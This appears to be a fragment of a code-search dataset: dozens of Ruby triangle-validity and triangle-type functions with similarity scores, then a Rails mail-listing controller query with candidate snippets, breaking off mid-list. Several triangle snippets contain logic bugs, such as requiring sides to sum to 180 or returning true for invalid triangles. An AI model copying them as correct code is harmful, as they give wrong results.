"def triangle(*sides)\n # could have used sides.includes?(0)\n return :invalid unless sides.none?(&:zero?)\n return :invalid if sides.max > sides.reduce(:+) - sides.max\n return :equilateral if sides.min == sides.max\n return :isosceles if sides.count { |x| x == sides.max } == 2\n :scalene\nend",
"def triangle(side1, side2, side3)\n sides = [side1, side2, side3]\n return :invalid if sides.max > sides.sum / 2 || sides.min.zero?\n case sides.uniq.size\n when 1 then :equilateral\n when 2 then :isosceles\n else :scalene\n end\nend",
"def triangle(side1, side2, side3)\n side_array = [side1, side2, side3].sort\n if side_array.include?(0)\n :invalid\n elsif !((side1 + side2) > side3) || !((side2 + side3) > side1)\n :invalid\n elsif side1 == side2 && side1 == side3\n :equilateral\n elsif (side1 == side2 && side1 != side3) || side2 == side3 && side2 != side1 || side1 == side3 && side1 != side2\n :isosceles\n elsif side1 != side2 && side1 != side3 && side3 != side2\n :scalene\n end\nend",
"def triangle(a_side, b_side, c_side)\n # WRITE THIS CODE\n sum = a_side + b_side + c_side\n minimum = [a_side, b_side, c_side].min\n maximum = [a_side, b_side, c_side].max\n raise TriangleError unless minimum.positive? && (maximum < sum - maximum)\n\n return :equilateral if equilateral?(a_side, b_side, c_side)\n\n return :isosceles if isosceles?(a_side, b_side, c_side)\n\n :scalene\nend",
"def triangle(side1, side2, side3)\n sides = [side1, side2, side3]\n sides.sort!\n return :invalid if sides.include?(0) || sides[0] + sides[1] < sides[2]\n sides_uniq = sides.uniq\n case sides_uniq.length\n when 1 then return :equilateral\n when 2 then return :isosceles\n when 3 then return :scalene\n end\nend",
"def triangle(side1, side2, side3)\n arr = [side1, side2, side3].sort!\n if arr[0] + arr[1] <= arr[2]\n :invalid\n elsif arr[0] == arr[1] && arr[0] == arr[2]\n :equilateral\n elsif arr[0] == arr[1] || arr[0] == arr[2] || arr[1] == arr[2]\n :isosceles\n else\n :scalene\n end\nend",
"def triangle(side1, side2, side3)\n arr = [side1, side2, side3].sort\n if side1 == side2 && side2 == side3\n :equilateral\n elsif (arr[0] + arr[1]) < arr[2] || arr.include?(0)\n :invalid\n elsif arr[0] == arr[1] || arr[1] == arr[2]\n :isosceles\n else\n :scalene\n end\nend",
"def triangle(a, b, c)\n tri = [a, b, c].sort\n\n if tri[0..1].sum <= tri[2] then :invalid\n elsif tri.any? { |side| side <= 0 } then :invalid\n elsif tri[0] == tri[1] && tri[1] == tri[2] then :equilateral\n elsif tri[0] != tri[1] && tri[0] != tri[2] && tri[1] != tri[2] then :scalene\n else :isosceles\n end\nend",
"def triangle(x,y,z)\n sides = [x, y, z].sort \n return :invalid unless sides.all?{ |e| e.is_a?(Numeric) && e > 0 }\n return :invalid if sides[0] + sides[1] <= sides[2]\n # Now, since the sides are sorted, we can do the following:\n if sides[0] == sides[2]\n :equilateral\n elsif sides[0] == sides[1] || sides[1] == sides[2]\n :isosceles\n else\n :scalene\n end\nend",
"def triangle(side1, side2, side3)\n sides = [side1, side2, side3]\n largest_side = sides.max\n\n case\n when 2 * largest_side > sides.reduce(:+), sides.include?(0)\n :invalid\n when side1 == side2 && side2 == side3\n :equilateral\n when side1 == side2 || side1 == side3 || side2 == side3\n :isosceles\n else\n :scalene\n end\nend",
"def triangle(side1, side2, side3)\n sides = [side1, side2, side3]\n largest_side = sides.max\n\n case\n when 2 * largest_side > sides.reduce(:+), sides.include?(0)\n :invalid\n when side1 == side2 && side2 == side3\n :equilateral\n when side1 == side2 || side1 == side3 || side2 == side3\n :isosceles\n else\n :scalene\n end\nend",
"def valid_triangle?(a,b,c)\n\n integer_cant_be_zero = (a == 0) || (b == 0) || (c == 0)\n invalid_triangle = ((a + b) < c) || ((b + c) < a) || ((a + c) < b)\n equilateral_triangle = (a == b) && (b == c)\n isoceles_triangle = (a == b) || (b == c) || (a == c)\n c_b_squared_equ_a_squared = (a > b) && (a > c) && (c**2 + b**2 == a**2)\n a_c_squared_equ_b_squared = (b > a) && (b > c) && (c**2 + a**2 == b**2)\n b_a_squared_equ_c_squared = (c > a) && (c > b) && (b**2 + a**2 == c**2)\n\n if integer_cant_be_zero || invalid_triangle\n return false\n elsif equilateral_triangle || isoceles_triangle\n return true\n elsif c_b_squared_equ_a_squared || a_c_squared_equ_b_squared || b_a_squared_equ_c_squared\n return true\n end\n\nend",
"def valid_triangle?(a, b, c)\n if (a==0 || b==0 || c==0)\n return false\n elsif (a+b<=c) || (a+c<=b) || (c+b<=a)\n return false\n elsif (a==b && a==c && b==c)\n return true\n elsif (a==b || a==c || b==c)\n return true\n elsif (((a**2)+(b**2))==(c**2) || ((a**2)+(c**2))==(b**2) || ((c**2)+(b**2))==(a**2))\n return true\n else\n return false\n end\nend",
"def triangle(first, second, third)\n sides_array = [first, second, third]\n max_value = sides_array.max\n sum_of_smaller_sides = sides_array.sum - max_value\n check_array = sides_array.uniq\n\n if sides_array.include?(0) || sum_of_smaller_sides < max_value\n return :invalid\n elsif check_array.size == 1\n return :equilateral\n elsif check_array.size == 2\n return :isosceles\n else\n return :scalene\n end\nend",
"def valid_triangle?(a, b, c)\n if a == 0 or b == 0 or c == 0\n return false\n elsif a == b and b == c and a == c\n return true\n elsif a + b < c or a + c < b or b + c < a\n return false\n else\n return true\n end\nend",
"def triangle(a, b, c)\n sides = [a,b,c]\n validate_sides(sides)\n\n unique_side_lengths = sides.uniq.length\n\n case unique_side_lengths\n when 1\n :equilateral\n when 2\n :isosceles\n when 3\n :scalene\n end\nend",
"def isTriangle(a,b,c)\n if (a > 0) || (b > 0) || (c > 0)\n if ((a + b) > c) && ((a + c) > b) && ((b + c) > a)\n return true\n else\n return false\n end\n else\n return false\n end\nend",
"def valid_triangle? (num1,num2,num3)\n if num1 + num2 < num3\n true\n elsif num1 + num3 < num2\n true\n elsif num2 + num3 < num1\n true\n else\n false\n end\nend",
"def isTriangle(a,b,c)\n (a+b>c && a+c>b && c+b>a)? true : false\nend",
"def triangle_bk(s1, s2, s3)\n sorted_sides = [s1, s2, s3].sort\n if sorted_sides.any? { |side| side <= 0} || (sorted_sides[0] + sorted_sides[1] <= sorted_sides[2])\n :invalid\n elsif sorted_sides.all? { |side| side == sorted_sides[0]}\n :equilateral\n elsif sorted_sides[0] != sorted_sides[1] && sorted_sides[1] != sorted_sides[2]\n :scalene\n else\n :isosceles\n end\nend",
"def valid_triangle?(a, b, c)\n if (a + b > c) && (a + c > b) && (b + c > a)\n true\n else\n false\n end\nend",
"def valid_triangle?(a, b, c)\n ((a+b>c) && (b+c>a) && (a+c>b))? true:false\nend",
"def isTriangle(a,b,c)\n a + b > c && b + c > a && a + c > b\nend",
"def isTriangle(a,b,c)\n a + b > c && b + c > a && a + c > b\nend",
"def valid_triangle?(a, b, c)\n a + b > c && b + c > a && c + a > b\nend",
"def isTriangle(a,b,c)\n a+b>c && a + c > b && b + c > a ? true : false\nend",
"def right_triangle?(a, b, c)\n a**2 + b**2 == c**2\nend",
"def valid_triangle?(a, b, c)\n a + b > c && a + c > b && b + c > a\nend",
"def valid_triangle?(a, b, c)\n a + b > c && a + c > b && b + c > a\nend",
"def valid_triangle?(a, b, c)\n a + b > c && a + c > b && b + c > a\nend",
"def valid_triangle?(a,b,c)\n if a != 0 && b != 0 && c != 0\n if a >= b\n largest = a \n sum = b \n else largest = b\n sum = a\n end\n \n if c > largest \n sum += largest \n largest = c \n else sum = c\n end\n\n if sum >= largest \n return \"true\"\n else return \"false\"\n end\n\n else\n return false\n end\nend",
"def is_valid_triangle?(sides)\n !(sides.include?(0) || sides.sum != 180)\nend",
"def triangle(a, b, c)\n arr = [a, b, c]\n puts \n if checkLengths(arr.dup) || arr.any? {|x| x < 1} \n raise TriangleError, 'That was wrong biatch'\n end\n uni = arr.uniq!\n return :scalene unless uni\n case uni.length \n when 1\n :equilateral\n when 2\n :isosceles\n end\nend",
"def valid_triangle?(a, b, c)\n if a + b > c && a + c > b && b + c > a\n return true\n else\n return false\n end\nend",
"def checktriangle(a, b, c)\n if a + b <= c\n return false\n elsif b + c <= a\n return false\n elsif c + a <= b\n return false\n else\n return true\n end\nend",
"def isTriangle(a, b, c)\n a, b, c = [a, b, c].sort\n a + b > c\nend",
"def triangle(a, b, c)\n triangle = Triangle.new(a,b,c)\n triangle.type\nend",
"def valid_triangle?(a, b, c)\n # Your code goes here!\n if (c + b > a) && (a + c > b) && (a + b >c)\n true\n else\n false\n end\n \nend",
"def validity \n if @a + @b <= @c || @c + @a <= @b || @b + @c <=@a\n puts \"These is not a valid triangle, please make sure 2 sides are greater than the addition of one.\"\n return false \n else \n return true \n end \n end",
"def valid_triangle? triple\n a, b, c = triple\n return false if a + b <= c\n return false if a + c <= b\n return false if b + c <= a\n\n true\nend",
"def valid_triangle?(a, b, c)\n if a <= 0 || b <= 0 || c <= 0\n return false\n end\n\n if a + b >= c && a + c >= b && b + c >= a\n return true\n else\n return false\n end\nend",
"def is_triangle(a,b,c)\n if a + b <= c || a + c <= b || b + c <= a\n false\n else \n true\n end \nend",
"def valid_triangle?(a, b, c)\n # Your code goes here!\na+b > c && a+c > b && b+c >a\nend",
"def right_triangle?(side_a, side_b, side_c)\n side_a**2 + side_b**2 == side_c**2\nend",
"def valid_triangle?(num_1, num_2, num_3)\n if (num_1 + num_2 > num_3) && (num_2 + num_3 > num_1) && (num_1 + num_3 > num_2)\n return true\n else\n return false\n end\nend",
"def valid_triangle?(s1, s2, s3)\n triangle = [s1,s2,s3]\n triangle.sort!\n triangle[2] < triangle[0] + triangle[1] ? true : false\nend",
"def test_error(val_a, val_b, val_c)\n raise TriangleError if val_a <= 0 || val_b <= 0 || val_c <= 0\n sum = (val_a + val_b + val_c) / 2.0\n raise TriangleError if ((sum - val_a) * (sum - val_b) * (sum - val_c)) <= 0\nend",
"def third_quadrant?(angle)\n\t\t180 < angle && angle < 270\n\tend",
"def test\n # triangle inequality theorem\n if ( ((@a+@b)>@c) && ((@a+@c)>@b) && ((@b+@c)>@a) )\n if (@a==@b && @b==@c)\n @type = \"equilateral\"\n @base = @a\n @height = sqrt((@c**2) - (@a/2.0)**2) # pythagoras\n elsif ((@a*@a + @b*@b) == @c*@c)\n @type = \"right\"\n @base = @a\n @height = @b\n elsif (@a == @b) # smaller sides are equal\n @type = \"isosceles\"\n @base = @c # base is larger side\n @height = sqrt(@b**2 - (@c/2.0)**2)\n elsif (@b == @c) # larger sides are equal\n @type = \"isosceles\"\n @base = @a # base is smaller side\n @height = sqrt(@c**2 - @a**2)\n else\n @type = \"scalene\"\n @base = @c\n \n # simplified algebra used to find height of scalene\n x = (@a**2 + @c**2 - @b**2) / (2.0*@c)\n @height = sqrt(@a**2 - x**2)\n \n end\n @valid = true\n else\n @type = \"not a triangle\"\n @valid = false\n end\n end"
] |
[
"0.8828743",
"0.8763122",
"0.8740323",
"0.86614907",
"0.8656667",
"0.8656506",
"0.8653808",
"0.86374104",
"0.8614228",
"0.861255",
"0.8605746",
"0.8579279",
"0.85604286",
"0.85501456",
"0.85054255",
"0.84894484",
"0.8483375",
"0.8473427",
"0.8462924",
"0.83186036",
"0.82990503",
"0.8251076",
"0.81727546",
"0.77664477",
"0.77220404",
"0.7425139",
"0.73423445",
"0.7219745",
"0.71871054",
"0.7137252",
"0.71056855",
"0.7098554",
"0.70780987",
"0.70527524",
"0.7034827",
"0.69941807",
"0.6992293",
"0.695031",
"0.6947727",
"0.69332665",
"0.6933187",
"0.6924902",
"0.6900808",
"0.68999976",
"0.68931353",
"0.68860817",
"0.6877481",
"0.6863035",
"0.68547",
"0.68530273",
"0.683527",
"0.6832278",
"0.6828091",
"0.6818548",
"0.68170273",
"0.6816327",
"0.6815359",
"0.6799312",
"0.67908037",
"0.676273",
"0.67172265",
"0.67172265",
"0.671463",
"0.66826874",
"0.66358256",
"0.66143996",
"0.65618795",
"0.65574616",
"0.6535913",
"0.64888346",
"0.648393",
"0.6472656",
"0.6463316",
"0.64340866",
"0.64136994",
"0.6403909",
"0.63956857",
"0.63948625",
"0.6390733",
"0.6390733",
"0.6390733",
"0.631879",
"0.6311343",
"0.6310928",
"0.6307887",
"0.62978786",
"0.6295271",
"0.6265914",
"0.6258118",
"0.6249317",
"0.6241539",
"0.62348527",
"0.6217556",
"0.62162393",
"0.6209211",
"0.6190068",
"0.61672413",
"0.61354995",
"0.60743797",
"0.60578245"
] |
0.8712764
|
3
|
GET /outmails GET /outmails.json
|
def index
@outmails = Outmail.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @outmessages = Outmessage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @outmessages }\n end\n end",
"def index\n @emails = Email.all\n json_response(@emails)\n end",
"def index\n @emails = @user.emails\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @emails }\n end\n end",
"def index\n @emails = @user.emails\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @emails }\n end\n end",
"def index\n @mailings = Mailing.order(\"created_at DESC\").all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mailings }\n end\n end",
"def index\n @emails = current_user.emails\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @emails }\n end\n end",
"def index\n @message_outs = MessageOut.all\n end",
"def index\n @service_emails = ServiceEmail.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @service_emails }\n end\n end",
"def index\n @mail_items = MailItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mail_items }\n end\n end",
"def index\n @ourmails = Mail.all\n end",
"def index\n @gee_mails = GeeMail.all\n end",
"def index\n @recipients = Recipient.all\n # render json: @recipients\n end",
"def index\n @recipients = Recipient.order('email')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recipients }\n end\n end",
"def index\n @emails = JSON[access_token.get(\"/api/v1/emails\").body]\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @emails }\n end\n end",
"def index\n @outlooks = Outlook.all\n end",
"def destroy\n @outmail.destroy\n respond_to do |format|\n format.html { redirect_to outmails_url, notice: 'Outmail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def index\n @mails = Mail.all\n end",
"def show\n @emails = JSON.parse(@notification.fetch_emails)\n end",
"def index\n @emails = @kontact_information.emails.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.mobile\n format.xml { render :xml => @emails }\n end\n end",
"def emails\n respond_with_entity(api.get('/api/v1/profile/emails'),\n NexaasID::Entities::Profile::Emails)\n end",
"def index\n @mail_tmps = MailTmp.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mail_tmps }\n end\n end",
"def mailboxes_list\n get \"mailboxes\"\n end",
"def index\n @inform_mails = InformMail.page(params[:page]).per(10).order(\"id DESC\")\n end",
"def index\n @mails = Mail.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @mails }\n end\n end",
"def index\n @direct_messages = DirectMessage.get_direct_messages(current_user)\n \n @recipients = User.reachable_users(current_user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @direct_messages }\n end \n end",
"def index\n dashboard = fetch_email_dashboard\n respond_with dashboard, represent_with: DashboardRepresenter\n end",
"def index\n @admin_customer_emails = Admin::Customer::Email.order('generated_at desc')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_customer_emails }\n end\n end",
"def get_mailboxes\n get(\"mailboxes\")\n end",
"def get_mails\n gmail = Gmail.connect @current_user.login, @current_user.password\n return nil unless gmail.logged_in?\n\n mails = gmail.inbox.find :unread, after: @filter_date + 1\n sent_mails = gmail.label(\"[Gmail]/Sent Mail\").find(afetr: @filter_date + 1)\n sent_mails.each { |e| mails << e }\n mails.sort_by!(&:date)\n\n end",
"def index\n @email_listings = EmailListing.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @email_listings }\n end\n end",
"def mails\n\n begin\n @imap = WmailImapUtils.current_imap\n \n if not @imap.blank?\n @mailbox = params['mailbox']\n @min = params['min'].to_i\n @max = params['max'].to_i\n @total = params['total'].to_i\n\n @imap.select(@mailbox)\n @mails = @imap.fetch(@total-@max..@total-@min, 'ENVELOPE')\n @unseen_flags = @imap.search(['NOT','SEEN'])\n end\n rescue\n redirect_to authenticate_wmail_accounts_path(:redirect => messages_mailbox_path(:label => selected_label)),\n :alert => 'Connection Lost. Please login to your account'\n end\n end",
"def index\n @emails = Email.all\n end",
"def index\n @emails = Email.all\n end",
"def index\n @emails = Email.all\n end",
"def index\n @emails = Email.all\n end",
"def index\n @emails = Email.all\n end",
"def index\n @emails = Email.all\n end",
"def mail_unread\n initialize_mocks if @fake\n\n service = Google::Apis::Core::BaseService.new('https://mail.google.com/', 'mail/feed/atom/')\n service.authorization = user_authorization\n service.http(:get, 'https://mail.google.com/mail/feed/atom/')\n end",
"def index\n verify_email = VerifyEmail.all\n json_response(verify_email)\n end",
"def index\n @usuarios_emails = UsuariosEmail.all\n end",
"def all\n get(\"#{domain}/mailboxes\")\n end",
"def set_outmail\n @outmail = Outmail.find(params[:id])\n end",
"def index\n @mail_items = MailItem.all\n end",
"def get_mails\n if params[:action] == 'get_mails'\n Log.add_info(request, params.inspect)\n end\n\n if !params[:pop].nil? and params[:pop] == 'true'\n\n mail_account_id = params[:mail_account_id]\n SqlHelper.validate_token([mail_account_id])\n\n begin\n new_arrivals_h = {}\n\n if mail_account_id.blank?\n mail_accounts = MailAccount.find_all(\"user_id=#{@login_user.id}\")\n mail_accounts.each do |mail_account|\n emails = Email.do_pop(mail_account)\n unless emails.empty?\n new_arrivals_h[mail_account.id] ||= []\n new_arrivals_h[mail_account.id] |= emails\n end\n end\n else\n mail_account = MailAccount.find(mail_account_id)\n emails = Email.do_pop(mail_account)\n unless emails.empty?\n new_arrivals_h[mail_account.id] ||= []\n new_arrivals_h[mail_account.id] |= emails\n end\n end\n\n unless new_arrivals_h.empty?\n flash[:notice] = t('mail.received', :count => new_arrivals_h.values.flatten.length)\n\n # FEATURE_MAIL_FILTERS >>>\n new_arrivals_h.each do |mail_account_id, emails|\n mail_filters = MailFilter.get_for(mail_account_id, true, MailFilter::TRIGGER_CHECKING)\n filter_next = true\n\n emails.each do |email|\n mail_filters.each do |filter|\n filter_next = filter.execute(email)\n break unless filter_next\n end\n break unless filter_next\n end\n end\n # FEATURE_MAIL_FILTERS <<<\n end\n rescue => evar\n if evar.to_s.starts_with?('ERROR:')\n flash[:notice] = evar.to_s\n else\n flash[:notice] = 'ERROR:' + t('mail.receive_error') + '<br/>' + evar.to_s\n end\n Log.add_error(nil, evar)\n end\n end\n\n @folder_id = params[:id]\n SqlHelper.validate_token([@folder_id])\n\n if @folder_id == TreeElement::ROOT_ID.to_s\n @emails = nil\n else\n=begin\n# @emails = MailFolder.get_mails_to_show(@folder_id, @login_user)\n=end\n# FEATURE_PAGING_IN_TREE >>>\n @sort_col = (params[:sort_col] || 'sent_at')\n @sort_type = (params[:sort_type] || 'DESC')\n SqlHelper.validate_token([@sort_col, @sort_type], ['.'])\n\n sql = EmailsHelper.get_list_sql(@login_user, params[:keyword], [@folder_id], @sort_col, @sort_type, 0, nil)\n @email_pages, @emails, @total_num = paginate_by_sql(Email, sql, 10)\n# FEATURE_PAGING_IN_TREE <<<\n end\n\n session[:mailfolder_id] = @folder_id\n\n render(:partial => 'ajax_folder_mails', :layout => false)\n end",
"def index\n @request_emails = RequestEmail.all\n end",
"def index\n @inbound_emails = InboundEmail.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @inbound_emails }\n end\n end",
"def index\n @raw_mails = RawMail.all\n end",
"def index\n @mail_servers = MailServer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @mail_servers }\n end\n end",
"def index\n @messages = current_user.messages_in.order('created_at ASC').group('sender_id')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @messages }\n end\n end",
"def index\n @email_templates = EmailTemplate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @email_templates }\n end\n end",
"def index\n @outgoings = Outgoing.all\n end",
"def index\n\n @emails = Email.all\n #redirect_to invites_path\n\n end",
"def emails(params = {})\n @api.get(\"#{@api.path}/List/#{@id}/Emails\", params: params)\n end",
"def index\n @user_emails = UserEmail.all\n end",
"def index\n @contact_us_emails = ContactUsEmail.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @contact_us_emails }\n end\n end",
"def index\n @reach_out_to_customers = ReachOutToCustomer.all\n end",
"def list\n perform_request(Entities::MarketingEmail, 'newsletter/list.json')\n end",
"def index\n @emails = ShipEmailBLL.paginate(page: params[:page])\n render ('index')\n end",
"def index\n @email_users = Email::User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @email_users }\n end\n end",
"def index\n options = params.dup\n email = options.delete(:email)\n if MailHandler.receive(email, options)\n head :created\n else\n head :unprocessable_entity\n end\n end",
"def show\n @users_mail = UsersMail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @users_mail }\n end\n end",
"def index\n @recipients = @user.recipients\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @recipients }\n end\n end",
"def index\n @q = MsgMail.active.ransack(params[:q])\n @mails = @q.result.includes(:mail_type).page(params[:page]).per(15)\n end",
"def index\n @emails = Email.not_archived.order('updated_at DESC').all\n end",
"def outbox\n cur_emp = get_logged_employee\n @messages = Message.where(\"sent_by = ?\", cur_emp).where(:is_deleted => nil) \n render \"resumes/message_show\"\n end",
"def index\n @outdonations = Outdonation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @outdonations }\n end\n end",
"def outbox\r\n @messages = current_user.outbox_messages\r\n session[:mail_box] = \"outbox\"\r\n render :action => \"messages\"\r\n end",
"def index\n @email_notifications = EmailNotification.all\n end",
"def show\n json_response(@email)\n end",
"def emails(params={})\n @api.get(\"#{@api.path}/User/Emails\", params: params)\n end",
"def index\n @email_domains = Email::Domain.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @email_domains }\n end\n end",
"def index\n @receive_emails = ReceiveEmail.all\n end",
"def index\n @accounts = current_user.person.gmail_accounts\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @accounts }\n end\n end",
"def outmail_params\n params.require(:outmail).permit(:title, :to, :datesend, :mailtext, :response)\n end",
"def outgoings\n @patient=User.find_by_wedgetail(params[:wedgetail],:order =>\"created_at DESC\")\n authorize_only (:patient) {@patient.wedgetail == @user.wedgetail}\n authorize :user\n @narrative = Narrative.find(params[:id])\n @outgoings = @narrative.outgoing_messages\n end",
"def index\n @fundamental_retention_mails = Fundamental::RetentionMail.paginate(:order => 'id', :page => params[:page], :per_page => 50) \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fundamental_retention_mails }\n end\n end",
"def index\n @emails = @claim.emails.page(params[:page]).per(50)\n end",
"def get_email_list(email)\n mail_list_array = []\n response = get_emails(email)\n if !response.blank?\n json_body = JSON.parse(response.body)\n if !json_body[\"items\"].blank?\n Rails.logger.info \"Total Emails: #{json_body[\"items\"].count}\"\n json_body[\"items\"].each do |item|\n Rails.logger.info \"Subject: #{item['message']['headers']['subject']}\"\n Rails.logger.info \"Storage Url: #{item['storage']['url']}\"\n mail_list_array.push(item['storage']['url'])\n end\n end\n end\n mail_list_array\n end",
"def index\n @mailings = Mailing.paginate(:page => params[:page], :per_page => 20,\n :order => \"created_at DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @mailings }\n end\n end",
"def index\n # find all links to assigned invoices\n @links = current_recipient.links.includes(:invoice, :recipient)\n\n # only respond to html and json formats\n respond_to do |format|\n format.any(:html, :json)\n end\n end",
"def index\n @cliente_emails = ClienteEmail.all\n end",
"def index\n if params[:workpoint_id]\n @outs = Workpoint.find(params[:workpoint_id]).outs\n else\n @outs = Out.all\n end\n respond_to do |format|\n format.json {\n render :json => @outs, :layout => false\n }\n end\n end",
"def index\n\n @outgoings = Outgoing.order(updated_at: :desc).limit(50)\n @outgoings_count = Outgoing.where(:status => 'INSERTED').count\n respond_to do |format|\n \tformat.html\n#\tformat.csv { send_data Outgoing.where(\"EXISTS (select * from answers where INSTR(telephone, contact) = 0)\").to_csv, filename: \"autodialer-#{Date.today}.csv\" } \n format.csv { send_data Outgoing.all.to_csv, filename: \"autodialer-#{Date.today}.csv\" } \n format.json { render :json => Outgoing.where.not(:trank => nil).as_json(only: [:id, :trank_id])}\n end\n end",
"def index\n notifications = params[:unread].nil? || params[:unread] == 0 ? current_user.notifications : Notification.where(user: current_user, status: :unread).all\n\n render json: {\n status: 'Success',\n message: '',\n notifications: notifications.as_json(except: [\n :created_at,\n :updated_at\n ])\n }, status: 200\n end",
"def index\n @emails = DirectEmail.scoped\n\n if params.keys.include? \"company_id\"\n @emails = @emails.where(:company_id => params[:company_id])\n end\n\n if params.keys.include? \"limit\"\n @emails = @emails.limit(params[:limit])\n end\n\n respond_with @emails\n end",
"def index\n @outs = Out.all\n end",
"def index\n @forgotmails = Forgotmail.all\n end",
"def index\n\t\t@messages = Message.where(:to_user => current_user.id)\n\t\trespond_with(@messages) \n\tend",
"def index\n @mailings = Mailing.all.order('published_at DESC')\n end",
"def inbox\n @messages = current_user.received_messages\n respond_with @messages\n end",
"def unread\n\n begin\n\n id_cuenta = params[:id]\n @setting_email = SettingsEmail.where(id: id_cuenta)\n\n if @setting_email.blank?\n\n render json: {errors: {message: \"Debes configurar la cuenta de correo entrante\"}}\n\n else\n\n @setting_email.each do |setting|\n $server = setting.server\n $port = setting.port\n $username = setting.username\n $password = setting.password\n end\n\n ENV['option'] = 'unread'\n load 'script/mailman_function.rb'\n render json: {errors: {data: @@unread, status: 200, message: \"conexión exitosa\"}}\n\n end\n\n rescue\n\n render json: { errors: {data: @data, status: 500, message: \"Error! valida las credenciales de acceso o revisa la configuración de tu cuenta\"} }\n\n end\n\n end",
"def index\n @mail_lists = MailList.all\n end",
"def online_emails(params = {})\n @api.get(\"#{@api.path}/List/#{@id}/Online/Emails\", params: params)\n end",
"def create\n @outmail = Outmail.new(outmail_params)\n\n respond_to do |format|\n if @outmail.save\n format.html { redirect_to @outmail, notice: 'Outmail was successfully created.' }\n format.json { render :show, status: :created, location: @outmail }\n else\n format.html { render :new }\n format.json { render json: @outmail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @emails = EventEmail.scoped\n\n if params.keys.include? \"company_id\"\n @emails = @emails.where(:company_id => params[:company_id])\n end\n\n if params.keys.include? \"limit\"\n @emails = @emails.limit(params[:limit])\n end\n\n respond_with @emails\n end",
"def index\n @grupo_email = GrupoEmail.all\n end",
"def index\n @emails = Email.scoped\n\n if params.keys.include? \"company_id\"\n @emails = @emails.where(:company_id => params[:company_id])\n end\n\n if params.keys.include? \"limit\"\n @emails = @emails.limit(params[:limit])\n end\n\n respond_with @emails\n end",
"def get_mails()\n emails = Mail.find(:what => :first, :count => 20, :order => :asc)\n relevant = filter_mails emails\n parse_mails relevant\n end",
"def jobs_notifier(email_list)\n @listed_jobs = JobPosting.where(created_at: (Time.now.midnight-5.days)..(Time.now))\n @greeting = \"Hi\"\n headers['X-SMTPAPI'] = { :to => email_list.to_a }.to_json\n mail(\n :to => \"info@ourcompany.com\",\n :subject => \"New Job Posted!\"\n )\n \n end",
"def mails(element_key, options = {})\n parameter = { query: options }\n parameter[:basic_auth] = @auth\n\n response = self.class.get(\"/elements/#{element_key}/mails\", parameter)\n return response['ElementList'] if response.success?\n end"
] |
[
"0.6662594",
"0.6617626",
"0.6471754",
"0.6471754",
"0.6435658",
"0.63467026",
"0.6313058",
"0.6282166",
"0.62671053",
"0.6201223",
"0.6184651",
"0.60781384",
"0.607289",
"0.6066874",
"0.604244",
"0.6040889",
"0.60359544",
"0.5984598",
"0.59760356",
"0.59663045",
"0.59570825",
"0.5911758",
"0.59066814",
"0.5886156",
"0.58720946",
"0.5866915",
"0.5863808",
"0.58469784",
"0.58097327",
"0.5784893",
"0.57615983",
"0.5756338",
"0.5756338",
"0.5756338",
"0.5756338",
"0.5756338",
"0.5756338",
"0.57416064",
"0.5734969",
"0.57340705",
"0.57338214",
"0.57284945",
"0.57259744",
"0.57107043",
"0.5686723",
"0.56793267",
"0.5675499",
"0.56609124",
"0.5652301",
"0.56521076",
"0.56511295",
"0.5633145",
"0.56252223",
"0.5624282",
"0.5617344",
"0.561607",
"0.5615403",
"0.5613799",
"0.5606542",
"0.5604096",
"0.5600862",
"0.5598461",
"0.55713737",
"0.5564851",
"0.55600333",
"0.55579597",
"0.55564445",
"0.5556033",
"0.55523324",
"0.5543386",
"0.5532713",
"0.55089605",
"0.5506235",
"0.5496188",
"0.5491303",
"0.5487038",
"0.5484128",
"0.54738396",
"0.54732394",
"0.54720074",
"0.54716784",
"0.54651016",
"0.54641587",
"0.54541075",
"0.5451415",
"0.5450917",
"0.5447427",
"0.5446807",
"0.54465556",
"0.5443448",
"0.54352427",
"0.54309565",
"0.54281646",
"0.542019",
"0.5413876",
"0.5407902",
"0.5391299",
"0.53843725",
"0.53816336",
"0.53690743"
] |
0.75974256
|
0
|
GET /outmails/1 GET /outmails/1.json
|
def show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @outmails = Outmail.all\n end",
"def index\n @emails = Email.all\n json_response(@emails)\n end",
"def index\n @outmessages = Outmessage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @outmessages }\n end\n end",
"def index\n @mailings = Mailing.order(\"created_at DESC\").all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mailings }\n end\n end",
